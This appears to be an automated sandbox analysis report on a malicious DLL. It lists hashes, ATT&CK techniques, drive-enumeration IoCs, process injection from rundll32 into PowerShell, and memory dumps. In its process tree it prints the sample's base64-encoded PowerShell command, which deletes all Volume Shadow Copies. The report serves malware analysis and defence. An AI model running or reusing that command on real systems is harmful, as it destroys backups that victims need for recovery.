4feb24617e5ff8916f4b3a0c47938dc1d5d52fe4ad9fc275709db0e0d9c2d458

General

Target

4feb24617e5ff8916f4b3a0c47938dc1d5d52fe4ad9fc275709db0e0d9c2d458.dll
Size

149KB
MD5

53507353657f2064e6a82395aa56e929
SHA1

115610c36ba871903fe085ebe96fa6e1226f5fbd
SHA256

4feb24617e5ff8916f4b3a0c47938dc1d5d52fe4ad9fc275709db0e0d9c2d458
SHA512

72bf5d4ecc80d51ab653193661aba5c0cd6aef6c01187a7020b28cc51f32b5ce8efe3b44b8236f9b39f8a857a3c260f13e94a74ca8b287a9d716d040288cf7c4

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

1396 rundll32.exe
1712 powershell.exe

pid	process
1396	rundll32.exe
1712	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1396	rundll32.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeBackupPrivilege	952	vssvc.exe
Token: SeRestorePrivilege	952	vssvc.exe
Token: SeAuditPrivilege	952	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1612 wrote to memory of 1396	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1396	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1396	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1396	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1396	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1396	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1396	1612	rundll32.exe	rundll32.exe
PID 1396 wrote to memory of 1712	1396	rundll32.exe	powershell.exe
PID 1396 wrote to memory of 1712	1396	rundll32.exe	powershell.exe
PID 1396 wrote to memory of 1712	1396	rundll32.exe	powershell.exe
PID 1396 wrote to memory of 1712	1396	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\4feb24617e5ff8916f4b3a0c47938dc1d5d52fe4ad9fc275709db0e0d9c2d458.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\4feb24617e5ff8916f4b3a0c47938dc1d5d52fe4ad9fc275709db0e0d9c2d458.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1712

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1488

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:952

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1396-55-0x0000000075AC1000-0x0000000075AC3000-memory.dmp

Filesize
8KB

Download
memory/1712-56-0x000007FEFB731000-0x000007FEFB733000-memory.dmp

Filesize
8KB

Download
memory/1712-58-0x0000000002870000-0x0000000002872000-memory.dmp

Filesize
8KB

Download
memory/1712-59-0x0000000002872000-0x0000000002874000-memory.dmp

Filesize
8KB

Download
memory/1712-60-0x0000000002874000-0x0000000002877000-memory.dmp

Filesize
12KB

Download
memory/1712-57-0x000007FEF2870000-0x000007FEF33CD000-memory.dmp

Filesize
11.4MB

Download
memory/1712-61-0x000000001B770000-0x000000001BA6F000-memory.dmp

Filesize
3.0MB

Download
memory/1712-62-0x000000000287B000-0x000000000289A000-memory.dmp

Filesize
124KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads